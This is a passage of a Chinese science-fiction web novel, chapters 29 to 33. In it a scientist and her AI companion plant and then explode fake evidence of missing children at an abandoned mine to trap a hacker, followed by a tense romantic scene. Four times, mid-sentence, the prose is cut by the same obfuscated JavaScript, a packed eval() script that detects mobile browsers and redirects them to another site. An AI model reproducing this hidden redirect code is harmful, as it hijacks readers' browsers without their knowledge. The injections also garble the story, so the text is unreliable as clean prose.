由于星际磁暴的信号干扰,各项通讯受限,此刻「黑客」无法监视到他们的行动。 但不能排除的是,他或许有安插在极夜城的人工眼线。 不过磁暴面前人人平等,不面对面的话谁都无法交流。这就为燕无乐两人提供了可操作的空间。 她抱着包坐在副驾驶上。窗外建筑逐渐远去,路途遥远,车内宁静得如同暴风雨前夜。 提亚斯的身影还历历在目,消瘦、枯槁。他坐在书桌前时像一匹垂暮的骆驼,高大的身影蜷缩成一团,双眼和双手几乎要贴在一起。 他有过去,有秘密,即使黑客不那么说,二人也可以猜到。 他们见过他在外精神抖擞披着皮衣的模样,但更多时候,提亚斯只是一个人孤独地坐在桌前。即使阿维在一旁,他们也常常无话可说。 生于极夜,去过金銮,还掌握机械技术。可以推测,提亚斯是当年环形城两地间筛选法令的受益人之一,他通过了选拔考试,获得过金銮城的公民身份。 但后来发生了什么,他为何又回到了极夜城,这些燕无乐就不得而知了。 应霁也对黑客所言感到迷惑,“提亚斯的现在就是燕无乐的未来”,怎么听都是一句诅咒。 他想,那提亚斯的过去,会是燕无乐的现在吗? 他看了看身旁的她,夜色下,燕无乐的长发从羽绒帽檐中垂下,防风镜几乎盖住了半张脸,其间依然没有什么表情,冷静,镇定,漠然。 如果以她为标准,那黑客对他“优柔寡断”的评价就很贴切。 燕无乐只在极少数时才流露出“人味”的一面,大多时候,她比他更像一台执行命令的机器:有目标地出发,不达预期不罢休,像在执行精密的循环指令。 车内气温慢慢回升,白雾蔓延,雨刮器蹭出两个交叠的半圆。燕无乐把窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221155|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 户摇下一条缝,冷风涌入,很快将雾驱散。 “不冷吗?”应霁握着方向盘,默道。 “还好,那雨刮器太旧,不如这样省事。”她顿了一下,“你冷吗?” “我也还好。” 燕无乐不咸不淡地“嗯”了声,但还是把窗关上了。 车内又陷入寂静。 还是应霁打破沉默:“……你认可那人说的话吗?”那人指的是黑客,“说的话”是指他把提亚斯和燕无乐放在一起比较,那句过去和未来。 燕无乐冷若冰霜的脸上有了一丝动摇,她沉思了一会儿,说:“我觉得提亚斯很孤独,有种说不上来的落寞。” “是吗,我倒觉得你们有点像。你也总是独来独往,要么就在实验室里待着,你和提亚斯的生活状态其实很像。” 实验出成果前当然要保密,她一边说一边抛去眼刀,但应霁只是笑笑,并不在意。 他问:“那你孤独吗?” “毕竟,抛去物质条件,你和提亚斯过着相似的生活。” 燕无乐微不可查地抿了下嘴。 他是第一个这样问的人,而她也是第一次有机会思考这个问题。燕无乐反问他,你觉得我孤独吗? 应霁摇摇头:“我不确定,但我觉得你不快乐。” “阿维和提亚斯都能从所做的事中收获满足,但你没有,你更像是按部就班地完成任务,也不从中摄取意义和价值。” “我的系统也发出警告,数据显示,你有自毁倾向。” 燕无乐陷入沉默。 半晌,她缓缓道,为什么呢? “学业有成、经济自由、身体也算健康……这些标准我都达到了,为什么说我孤独?”她淡淡道,“我在旁人眼里,不应该是幸福的吗。” 应霁说的没错,她确实不快乐,他能监测到的东西她自己也能感受到。问题出在哪里,燕无乐不知道。 应霁没有立刻回应。此刻,在她看不到的地方,他把感应器的灵敏度调至最高,一组组新的即时数据弹出,然后又被套入各种分析模板。 一个个随之答案浮现,还是老生常谈的心理学和社会学理论。 这些他已经看过很多次了,而燕无乐接受过完整的精英教育,她必然也理解所谓的“价值感缺失”或者诸如“空洞麻木”的文艺表达。 他不知道怎样开口,或许比起得到一个解释,燕无乐更需要的是休假。他想,对人类而言,生活不应该是量化成待办事项的,起码幸福不是。 燕无乐把头转向窗边,灯火远去,从天而降的雪花被车灯照得惨白,纷纷扬扬,在寂静中奔腾而去。 他们正远离主路,驶向鲜有人踏足的荒土。 余光里,燕无乐的身影略显单薄,她背对着他,神情晦暗不明。 好像有点落寞。 “你们或许是有点像,但没关系,”应霁缓缓开口,“提亚斯和你都是嘴硬心软。” “你们没有黑客说得那么糟。” 燕无乐终于回头,她眨了眨眼,神情松动了些。 30. chapter 30 燕无乐记不清自己是什么时候睡着的。 她醒来时,车已经在深坑入口不知停了多久,而自己躺在被放倒的副驾座椅上,身上盖着应霁的外套。 一旁的驾驶位上却空空如也。 燕无乐一骨碌爬了起来,腿踢到了一个不软不硬的东西。 她低头查看,随后松了口气——双肩包还放在脚边,里面的东西完好无损。 应霁呢?一行足迹沿着车门延展,在雪坡的尽头,她看见了坐在「矿洞」旁的他。 二人面前,一个直径数百米的圆形大坑静默地存在着,像陨石砸出的痕迹,边沿被利落截断,并在数百年间硬化出了坚不可摧的质地。 它的内部却非直上直下,在一眼望不到尽头的圆形坑洞内,岩壁逐渐收缩,如同一个巨大的漏斗,它的内壁也并不光滑,如果用夜视望远镜仔细观察,不难发现上面密密匝匝布满的窗户与阶梯。 但此刻,这些数不尽的岩壁建筑都漆黑一片。 听到身后传来的脚步声,应霁取下望远镜:“我大概估算了下,这些建筑已经废弃了好几十个地球年了,大部分电线已经老化,但楼梯那些还算坚固。” 然后他才回头:“睡醒了?” 雪后的极夜城更冷,寒风萧瑟,燕无乐插兜站在他身后,用围巾和防风帽将自己裹紧。 不懂他在明知故问些什么,但她还是点点头。 他们已经来过矿洞很多次,但每次都直接进了地下暗道,这还是第一次亲眼从外面观察这个庞然大物。 燕无乐也坐在了巨坑边沿,她接过应霁的夜视望远镜向内望去,那些房子层层叠叠,像从坑壁上冒出的植被,它们灰暗又无序地堆在一起,像远古的文明遗迹。 “废弃很久了啊,很难想象这里曾经住满人的样子。” 应霁知道她说的是极夜城的人□□发的时期。 在一千多个地球年以前,人造太阳趋于稳定,环形城也初具雏形。 星际大迁徙未始,而环形城无论内外都驻扎着施工队。作为先发的建设人员,数以万计的人类直面辐射、尘暴,并时不时需要躲到地下防空洞中,以躲避大气波动带来的影响。 原本的环形城建设计划里,是没有极夜城的。这些驻扎在外部的施工队是为了建设地基界。 然而一场持续九年的大气波动打断了计划。数十万支地基施工队被迫躲入地下避难,在这里,人们开凿出了「矿洞」的原型,最初的极夜城在此诞生。 地上天寒地冻,地下却成为了自由市场的乐土。一个又一个九年过去,大气波动已过,「矿洞」内欣欣向荣,无数人好似落地生根,在这里酝酿一个个希望。 “……也有很多金銮城的人流向这里,毕竟「矿洞」很早就贯通了环形城的内外。” 这就是极夜城的babyboom时期,由于地基原料中丰富的矿藏和土壤等资源,这个时期夸张地持续了近百年,并成功将极夜城拓展到如今模样。 而随着婴儿潮褪去,人口下降,这些「矿洞」内的古早建筑就被自然而然地废弃了。 话毕,燕无乐起身,她将望远镜塞回了应霁手中,转身远离了这个巨坑。 站在边沿只能看看,想要下去,则要走他们惯常要走的地道。 它藏匿在不远处的荒原内,附近杂草丛生,经年累月的固体垃圾和干草将地道口淹没—— 如果当初不是从「矿洞」底部一路倒溯而上,他们也不可能发现这条暗道的入口。 燕无乐的飞船还藏在矿洞内。在这沙漏状的巨坑内,除了接近地表的建筑群,越向深处,就越有未开凿完毕的陡崖平台,而「扁舟」就停在其中某处。 二人掏出手电,沿着墙壁上曾留下的记号,他们终于钻出甬道尽头。 「扁舟」折射银色弧光,停在他们面前。 “嗡——” 燕无乐轻车熟路地打开舱门,拎着双肩包直奔便携实验室。最近她和应霁已经回来了许多次,「扁舟」内的各项智能设施已早早待机。 她把包内东西“哗啦啦”地倒进培养皿中,刹那间,这个一米来宽的玻璃培养皿被骨骼填满,被幽幽绿光笼罩。 催化启动,燕无乐退后一步,不偏不倚地靠定在应霁面前。她盯着这一缸乱七八糟的骨头,看着它们被粉红的血肉黏附。 “加上这一包,数量差不多了。” 应霁传来一声“嗯”,在她背后,他调出飞船卧室内的光屏,上面赫然平铺着极夜城几大块居民区的地图,其中一块有红色标记——正是黑色音响的配送地点。 他将那块标记放大,更多细节浮现。作为后期修建的居民区,虽然住房密集,但公共设施也不少。燕无乐走出实验室一看:“这就是你限定出的范围?” “没错,我后来又在那片送过几次货,发现入住率不低,并且建筑都有些年头了。” 说明住户之间熟络。 燕无乐表示很满意。 她擦干净手,也坐到一张单人床上,地图在二人面前放大、延展,所有公共场所都被标红,连成了线。 “我们真要这么做吗,最近纠察队巡查很严。”应霁默默计算着触发机率。 燕无乐耸了耸肩,“近水楼台先得月,不是吗?” * 极夜城D区近来人心惶惶。 星际磁暴正席卷全城,通讯受限,气温也日益寒冷。 在工作生活几乎停滞的日子里,小区居民们聚集在广场打发时间。灰色的路灯将人们围拢,钨丝嗡嗡作响,本就昏黄的灯光更加闪烁。 一个人悄悄地靠近,左右张望未见纠察队的身影后,他立刻撕下路灯上的告示,藏进袖口后匆匆远去。这根灯柱依然矗立在寒风中,上面残留着密密麻麻撕去的纸痕。 那个人攥紧衣袖,若无其事地回到人群中。远处的监视器静默地注视着一切,它不会发现热络聊天的居民登时凝重了起来。 告示被人们掏出、抚平,大家彼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227273|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此对视又窃窃私语。在细碎的声音被风搅散之前,一些诸如“失踪”“残骸”“秘密”的词语一个个蹦出,随即被惊恐的眼神递送出去。 唾沫星子沾满了那张皱巴巴的告示,白纸黑字,硕大的标题赫然印着“寻人启事”,其余版面被一个孩子无辜的面庞占据。看着只有七八岁,一旁的小字详细地罗列了衣着、身高、和孩子走失时所带的玩具。 “又一个,看日期还是三天前……”一个妇女面色沉重地掏出另一张被撕下的告示,也是寻人启事,画面中是另一个年龄更小的孩子。 “最近怎么这么多事!”一个壮汉忍不住嚷嚷了两声,旁人立刻拍了他一下示意小声,他这才后怕地张望了一下,好在四周都是熟人。 壮汉咬牙切齿继续道:“……他妈的!谁敢在极夜城干这种事,弄不死他!” “是啊!我都不敢让我家孩儿出来玩了!” “我家也是!这纠察队也没个准信,天天就知道堵人的嘴……” 话音未落,又是一阵小声的附和。 小孩失踪的传言并不是空穴来风,除了这时不时冒出来又被撕掉的寻人启事,据传言,A区内还出现了不知来源的碎骨和腐臭味。 当然,它们也很快被纠察队收拾一空了,无从考证。 流言四起,这几天内极夜城内都笼罩在阴郁中,原本就光秃秃的街景更显荒凉。窗边眺望的人多了,更容易发现纠察队巡逻的频次增加了。 磁暴影响城际广播,定点报时的钟声回荡在居民区中,一声一声,撞得人心忐忑。 聚集在广场中的人们依旧不散,他们在寒风中锁缩着脖子,像抱团取暖的一群企鹅。 “唉,你们听说了吗?A区好像还有人发现了骨头,据说碎了一地!” “流浪狗吃剩的吧,要不然……” 有人面露惊恐,吞吞吐吐没把话说完,但大家的目光都不约而同转向了那几张小孩的寻人启事。 “我还看到照片了,你们也知道,现在这通讯信号时好时坏,也不知道谁传来的……” “这骨头的大小,怎么看也不像大人啊……” 小小的电子屏上刹时堆满好奇的脑袋,然而下一秒,看过的人就嫌恶地撇开了头——只见屏幕里血肉模糊,几支黄白色的骨头上黏连着粉红血肉,正横七竖八地暴露在枯草中。 “自己吓自己!”那个壮汉不信邪,他拿过电子屏翻动照片,突然手一抖,顿在原地。 他的视线依然死死盯住屏幕,一开口声音却拐了调:“你们看,这、这是啥?” 茂密的草堆中,躺着一颗并不大的头骨,它上面没有血肉黏连,但黑漆漆的眼洞依然狰狞可怖。 而壮汉手一抖,这张照片被不小心放大,人们这才注意到图片背景中更古怪的地方—— 荒凉无垠的原野上,那座废弃百年的巨坑悄然矗立,它原本应如古井,在历史长河中被默默遗忘。 但此刻,它内部竟泛着诡异的光。 31. chapter 31 流言再次升级。 那张诡异的照片像一粒石子,在极夜城D区内荡出阵阵涟漪。 消息飞速扩散着,一时间内,矛头直指「矿洞」。纠察队加强了巡逻频次,但人们已经怀疑起了背后的缘由。 有孩子的人家紧闭门锁,单身青年们则兼具闲暇与愤懑。远距离通讯不成,聚在家门前讨论却不受阻,恐惧与疑虑蔓延,有人一拍即合,决定前往「矿洞」一探究竟。 那张照片已经被放大并打印了出来。车内,一群年轻人按图索骥,一边避开纠察队的巡逻路线,一边凭借时好时坏的导航和陈年车辙找路。 对他们而言,那座巨坑是从小听到大的传奇故事,它既象征了祖先的英勇与极夜城的开拓,又因为荒废多年等危险因素而充满神秘色彩。 这里远离城区,并长期受到暴露的地下物质干扰,别说行动能力受限的小孩,连他们这群开着车的青壮年也颠簸半天,几经迷路。 坐在副驾驶的壮汉紧盯挡风玻璃,他对比着照片与GPS,给开车的清瘦眼镜男指路。这辆SUV的后方则坐着两女一男,原本宽敞的空间被他们的登山包塞满。 昨天晚上,壮汉义愤填膺,他率先找到了身为小学教师的邻居眼镜男,又多亏左邻右舍的帮助,拉拢了三位热爱攀岩、游泳等身体素质良好的运动爱好者。 清晨时分,他们出发的消息又被担忧的家长四处转发。很快,D区各处又集结了不少相似的车队,他们也浩浩荡荡地上了路。 而壮汉一行人还并不知道后方的跟随者。 此时此刻,五人面色凝重,壮汉把眼从导航上挪开,眼镜男也渐渐松开了油门,后排的男女忍住胃里的翻江倒海,五人对视一眼,终于把目光投向前方—— 在数十米外,大地似乎被某种力量切割开来,惨白的灯光被生生截断,落入黑洞洞的深渊。 他们下车查看。狂风呼啸而过,那个传说中的深坑就这样骤然出现,在它面前人类如蚂蚁般渺小,而它几乎能吞噬一切。 壮汉吞了吞口水:“……妈的,阴森森的!” “这么一看还真是壮阔,”眼镜男裹紧了外套,“你们说,这下面会有什么?” 不提还好,现在所有人都紧张了起来,后排三人分发了手电、缆绳和警报器,但望着手电也穿不透的深度,没人敢向下一步。 其中一位女生攀岩经验丰富,她示意众人安静,然后捡起石头扔进巨坑,一秒、两秒、三秒……几十秒过去,毫无声响。 “啧,很难判断具体深度,地形可能也比我想象中复杂。” 方才四处巡察的游泳爱好者补充道:“但这周围我都仔细看过了,没发现什么可疑的东西。” 五人面面相觑——不下「矿洞」的话,难道要打道回府吗? 壮汉一咬牙,“呼啦啦”地就把攀岩女提供的保护绳索往身上套:“来都来了,能下一点是一点!如果是恶作剧最好,但万一真有孩子呢?” 这话犹如一剂强心针,其他人也跟着他穿好了护具。他们将绳索拴在SUV前杠和安全钉上,由攀岩女开路,其他人紧随其后。 他们一脚深一脚浅地挪移,好在岩壁质地干冷,又有大量开凿时留下的岩钉,凭借经验,攀岩女很快带领众人到了第一层可歇脚的平台。 壮汉急吼吼地问旁人:“快试试有信号不!” “嘘,”另一个女人正在探测器上比划,“别催!这磁暴干扰也不是我能控制的,你这头灯晃得我看不清面板。” 而壮汉还没来得及关掉自己的头灯,另一边就传来眼镜男的呼唤,他落在队伍末端,此刻还气喘吁吁: “欸、你们看看,那、那是什么——” 众人闻言向他看去,只见眼镜男手指的方向处,有什么东西正在隐隐发光,虽然微弱,但在巨坑的衬托下尤为显眼。 女人把探测器向光源的方向靠拢,瞬间,指针剧烈晃动起来,“怎么会,那里居然有电信号?” “……不是说「矿洞」都废弃几十年了吗?哪来的电?” 事情越发古怪了起来。 这光又和壮汉照片中的不同,没有那么夸张,但幽幽一簇,更不对劲。他们深吸了一口气,“……看来,我们来对地方了。” 而当攀岩女率领众人真正踏足光源所在地时,所有人都说不出话了。 他们面前的建筑只剩断壁残垣,碎窗和破墙透着幽幽绿光,一台巨大装置正嗡嗡作响——正是光源所在! “呕——” 攀岩女走在最前,在看清内容物后直接吐了出来,旁人还来不及说话,先纷纷捂住了口鼻——一股令人作呕的腐臭味四散开来,比这更冲击的是,装置中泛着绿光的血肉筋骨。 这还没完,他们头顶的灯泡忽然扑闪起来,刹那间照亮四周!这完全过载的照明方式刺得众人睁不开眼,壮汉脚下不稳,不知踩到什么“呲溜”一声滑倒在地—— 登时,巨坑内被他的惨叫声灌满。 “这、这是头?” 一颗颅骨躺在他的手肘边,皮肉已经风干,显然回答不了他的话。 他又连滚带爬地退了几米,然后手掌摁到了什么光滑且干燥的东西,凉飕飕的,惊得壮汉赶紧低头查看——是一沓散落在地的纸张。 眼镜男眼疾手快地把它们捡起来,“有寻人启事!我们见过的!还有、呃,这些数字和影像……” “不会吧,”游泳男结结巴巴的声音传来,“你们快来看,这墙上、是写了什么……” “钻研者永生……?” 众人齐刷刷回头。一行红漆大字横在游泳男面前,滴落的油漆宛如血迹,狰狞又疯狂。 五人中,最边缘的燕无乐放下了手中的探测器,她看了眼瑟瑟发抖的四人,也“倒抽”一口凉气: “所以,有人正在用小孩探索「矿洞」吗?” 她跨过呕吐物,也捡起地上的纸张,佯装思考后说:“你们看这上面的数据标记,这些确是人骨,但长度大小都不符合成人标准。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229649|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还有这墙上的‘钻研者永生’……你们还记得小时候听过的「矿洞」历史吗?” 经她这么一说,其余四人的目光又回到一地纸张,他们比照着内容与墙上红字,很快得出了一个惊天的阴谋——有人正试图重新开通「矿洞」! “可、这和孩子们有什么关系?还是说……”攀岩女捂住嘴,余下的音节从指缝中冒出,“用、用小孩去开凿?” 「矿洞」呈沙漏状,越往下越狭窄,除了复杂的地形,还有密度更强的地基。大型机器到达不了的地方,自古以来都由人类亲自开凿。 “要不然怎么说‘永生’呢?!他自己可是活下来了!”壮汉一骨碌爬起来,嚷嚷道。 极夜城的人都知道,「矿洞」连通金銮城,那是个令人憧憬又难以到达的地方,不仅因为律法禁止,还因客观条件上的困难——环形城的地基原料复杂,有不少都包含放射性物质,更别提地基本身精密的建筑结构。 燕无乐走到平台边沿,她的手电向下探去,光束被深不见底的巨坑吞噬殆尽。“我们还要往下走吗?磁场已经乱了,我的探测器失灵了。” 攀岩女也摇头道:“安全绳不够长,下面的路也不知道怎么样。” 这场景已经足够骇人了。眼镜男仍忙于拍摄“证据”,头也不抬就连连附和,游泳男和壮汉对视一眼,少数服从多数,一行人随即决定打道回府。 依然是攀岩女开道,沿着原路返回。 离开之前,燕无乐把探测器留在了绿光装置旁。 五人被安全绳连在一起,像苇杆上的一串蚂蚱,在时不时传来的幽幽旋风中向上挪移。快到坑口时,他们听到一阵嘈杂,再往上就是从四面八方扑面而来的手电筒光,是那群极夜城内后发的居民。 “我们看见了你们的车,没想到你们真的下去了!快说说,传言是真的吗?” “对呀,我们快吓死了!” 人们七嘴八舌地把他们拽上来,领头的壮汉神情激动,他还没站稳就用手指着坑内:“我跟你们说,太可怕了……” “轰——” 天光骤亮。 壮汉的声音被人们耳内的爆鸣掩盖。 刹那间,地面摇晃,火光冲天,所有人都在突如其来的爆炸中愣住了——那个方才还散发着幽幽绿光的断壁残垣,现在已冒出滚滚浓烟。 燕无乐依然站在人群边缘,所有人都聚在「矿洞」旁边,他们望向那团熊熊烈火,瞠目结舌,寒风中只剩噼里叭啦的爆燃声。 石子簌簌落入坑中,没人会注意到其中夹杂的遥控按钮。 “完了、完了,这下怎么办……”人群中传来阵阵哀嚎,他们蜂拥而上,不敢置信地看向那坨即将变为焦炭的“证据”。 眼镜男见状掏出了相机和纸张,激动地语无伦次: “我记下来了!我记下来了!” 瞬间,人们围了过去。 而燕无乐默默戴上了羽绒帽和口罩。她向人群的另一个角落走去,应霁正在那里等她。 32. chapter 32 二人径直走向四驱车,趁众人不注意驶离了巨坑。 燕无乐搓了搓被安全绳磨红的手心,她身上还有混杂着尘土的火药味,这一通折腾下来,消息很快就会传遍极夜城。 饵已扔出,就等大鱼上钩了。 应霁稳稳地握住方向盘,他自带高精度导航,此刻抄小道向极夜城D区驶去,“确认都炸毁了?” 燕无乐将窗摇下一条缝,用冷风让自己清醒,“探测器内的引线连通了装置内的炸药,我还填充了许多易燃物,即使纠察队出动也只能收获一堆焦炭。” “还有,那些装置都是我从废品站的垃圾上拆的,没有编号,他们也无法溯源。”启动一切的能源则来自于「扁舟」的供电。 应霁点点头,“那我们的计划已经完成了一半。” 不会再有比这更声势浩大的挑衅。返程路上,纠察队的车与他们擦身而过,警笛咆哮,这注定不是个宁静夜。 “看样子,今天全城的警力都会被矿洞吸引了。”应霁顿了一下,“和你预料的一样。” “不算难猜。极夜城的安保逻辑很原始,有点聪明,但不多。” 反正对百年来几乎一成不变的极夜城来说足够了。 燕无乐又把车窗摇上去,在狭小空间内艰难伸展着酸痛的肌肉。方才爬上爬下耗费了她太多力气,除了乳酸堆积造成的疼痛外,她的手掌内外还有细碎的擦伤。 现在肾上腺素消退,这些不适才后知后觉地涌现。 二人不再说话,在近乎沉寂的空间内,她逐渐合上眼。 这一觉并不安稳,燕无乐做了个离奇的梦。 梦里,天光大亮,她在一条无比开阔的大地上向前奔跑,一刻不停,哪怕已经喉咙发干,胸腔生疼。急促的呼吸声填满耳朵,让她听不清任何其他声音。 但自己仍艰难地跑着,她的面前没有路,但背后却好像被什么东西追赶。 向前,向前…… 她的脑海咆哮着向前,即使这大地根本没有方向可言。狂风呼啸而过,倏地卷起她的衣角—— 燕无乐感到有什么软趴趴的东西抽了自己一下。 她低头望去,是一节随风飘荡的袖管。 忽然,它被风撕成碎片,露出的半条胳膊正淌着新鲜的血。 但它们并不来自肘部的截面。 燕无乐心头一冷,她一边跌跌撞撞地向前奔去,一边用另一只完好无损的手摸向自己。而那血越来越多,很快,它们如瀑布落下,打湿了她的整个衣服。 而她也终于在脖颈处摸到了出血点。 不是断臂,不是刀痕,是一片一片、密密麻麻的针孔。 背后也传来声音,几乎已贴在了她的耳侧: “别挣扎了,你要接受,你要认命!” “不!” 她大喊一声向后看去,然而面前空空荡荡,只是虚无。 睁开眼时,应霁的脸近在咫尺,他的关切像是从远古而来,模模糊糊让她听不真切。 燕无乐还喘着气,忽然额头传来干燥的触感,是他伸手抹掉了上面的冷汗。 “你没事吧,做噩梦了?” 他的手从额头向下滑去,捋顺了她被打湿的头发,然后堪堪停在了脸侧。 掌心温热干燥,一瞬间竟有种难得的踏实感,燕无乐感到自己清醒了点,等她完全回神时,自己已经握住了他的手。 应霁张了张嘴,原本想说的话又吞了回去。 ……这姿势有点像某个原始的手机广告。 好在他很快就抽开了手。 燕无乐掌心只留余温,她也没说什么,只是“嗯”了一下肯定了关于噩梦的推测。 “我们到D区了。”他淡淡道。 果然,车窗外的景色已是矮房堆叠,路灯错落,偶尔电光闪烁。 停车场内空旷了许多,看样子有条件的居民都前往「矿洞」了。 这样正好,应霁把车熄火,顺手干扰掉了路旁的监控——要不了多久,纠察队的监控室内就会出现乱码。 与此同时,燕无乐穿好了外套,“我们时间不多,纠察队虽然总慢一步,但他们早晚会查到这里。”毕竟她“不小心”将D区的地址信息遗落在了「矿洞」中,而它们又“好运地”没被烧成焦炭。 “D区的信号也渐渐扩散出去了,”应霁补充道,“纠察队能掌握到的线索,「黑客」肯定接收得更快。” “嗯,不管是他还是他的线人,总会为了摆脱嫌疑而来销毁‘证据’的,”燕无乐笑里藏刀,“谁会知道这些‘证据’是哪来的呢?” 他们走入居民楼中,目的地正是曾经运送黑色音响的地址。 好一出瓮中捉鳖。 屋内未通电,唯一的光源是窗外反射进路灯,二人分坐在两把椅子上,四周静悄悄的。 那道微薄的光勾勒出燕无乐的侧脸,额头连至鼻梁,其间线条好似峰峦,饱满又高耸。明明暗暗间,应霁看不清她的表情。 他体内自有时钟摆动,时间在流淌,他想,她的一呼一吸也像种计时方式。 寂静的居民区中,仍没有「黑客」或其他动静。 按照他估算出的结论,「黑客」截获信号的速度很快,但赶来需要时间,纠察队则正好相反。 总之,他们现在有大把的时间等待。 他们相向而坐,两把椅子间是矮房内唯一的窗。 燕无乐也看向他,她瞳孔中倒映着自己同样的侧光剪影,但她似乎没有说话的欲望。无事发生的时候,她比所有人都沉默。 应霁不知道她在想什么。 所以他问了,“你在想什么?” 燕无乐闻言一愣,把视线从窗外收回来,“想什么?没什么。” 然后她又眨眨眼,反问他怎么了。 “没事。”他也下意识回道。 燕无乐“哦”了一声,又转过头去盯着窗外了。这套行动逻辑应霁很熟悉,如果用计算语言推理,那她也是一台精密的仪器,输入指令,即刻执行,其余时间她仿佛陷入了待机。 二人彼此理解,但不代表相处愉悦,一道无形的墙挡在二人中间,让他们相顾无言。 就比如当前。 这很戏剧性,应霁突然想,自己之前翘首以盼的独处时刻,竟在这种情境下降临了。 路灯昏黄的光自窗外流淌,燕无乐依然望向它们,不觉自己已被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243342|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笼罩其中。她眨眼的频次很低,应霁知道她没有真的在看。 这或许不是一个好的时机,「黑客」随时会出现,抑或是愤怒的纠察队员。 但他们下次对面而坐会是何时?他不知道。 忽然,窗外的那盏路灯闪烁了几下,“啪嚓”一声,灭了。 房间内陷入了更深的黑暗。 燕无乐扭过头来,突然开口了: “这极夜城确实没什么好看的。”她呼出一口气,“事情结束后,我们就回家吧。” “你的本家吗?山涧庄园确实很舒适。”即使还原四季,也只挑最美的时刻模拟。 燕无乐奇怪地看了他一眼:“想什么呢,当然是回岚水。我很早就独自生活了。” “我以为在你们传统的东方语境下,女儿……” 她打断他:“那太复古了,你远古时期的训练数据啊?” 应霁耸耸肩,“反正不来源于我自己,谁知道呢。” 理亏的感觉不会消失,只会转移。 燕无乐尴尬一笑,站起身来靠到窗边,“也不知道「黑客」什么时候来。” “估计快了,磁暴期间任何风吹草动都很明显。”应霁也站到窗边。 路灯没有要恢复正常的意思,窗户也小,偌大的空房内只有丝缕光芒照在二人脸庞。 他说完之后也把目光投向路面,发现那里白茫茫一片,极夜城下雪了。 “离开金銮城的那天,家里也在飘雪。” “在我的印象中,下雪时……好像总发生些糟糕的事。” 燕无乐恍惚地说。 她忽然又想起了先前的梦,那片无垠大地之所以了无方向,正是因为铺满了雪。 那只是个诡异的噩梦吗,还是自己忘了什么? 她看向应霁,可惜他不是她的记忆储存卡。 无解的问题。 然而下一秒,他忽然上前一步,单手扣住了她的胳膊。机械臂暴露在冷空气中,一瞬冰得他皱了皱眉。 距离骤然拉近,她几乎可以感受到他呼吸所带出的水汽,还有被压低的嗓音。 他说,你好像胳膊不太舒服。 “左手一直掐着,自己都没注意到吧。” 燕无乐低头看去,厚外套的肘部已经发皱,确实布满了指甲的痕迹。 “你……” 她忽然找不到合适的措辞了。 而应霁并没有就此放过她,他放松了手上的力道,但仍虚握住她,“在想什么?这次应该拒绝不了我了。” 黑暗中,他们都看不清彼此,影影绰绰如同两团灵魂,靠的很近,又没有真正交融。 机械、伤痛、代码、噩梦……无数片段如雪花般迎面而来,然而它们转瞬即逝,燕无乐抓不住任何一片能够说出口。 还有谁会好奇她的内心呢?燕无乐没空想,此刻她抬头好像就能吻上他。 这想法毫无逻辑,尽是昙花一现的原始冲动。 但她真的抬头了—— 应霁忽然后退一步,彻底被窗后的黑暗淹没。 随后,她听见他略带犹豫的声音说,等一下。 “我想,你可能会错意了。” 33. chapter 33 燕无乐愣在原地。 她的理智稍稍回笼,被拒绝的尴尬后知后觉爬满全身。 应霁站在黑暗中,现在,只有她一个人暴露在窗前,被微光照透。 “……我会错意了?” 他或许在她看不见的角落中点了头,他的声音轻而缓,不难推测他正在寻找最温和的解释。 “是,我一直想和你聊聊,但也一直没找到机会。”应霁顿了下,“你似乎理所当然地接受了这个……与我的关系。” 他没用燕无乐之前冠给他的任何名号,无论是秘书、男友,还是越来越趋近于现状的助理。 “虽然你创造并激活了我,但你也拒绝了给我下任何关于「爱你」的指令。我不理解,这很矛盾。” 如果想要一个完美男友,燕无乐输入指令就好,他会和所有通用人工智能一样,尽善尽美,不会有任何怨言。 但她偏偏赋予了他极强的自适应程序和最大程度的自由。 空气似乎是凝滞住了。 燕无乐缓慢地呼出一口气:“……抱歉,是我太想当然了。我都快要忘了,对你而言这个世界还很新,你也才认识我没多久。” 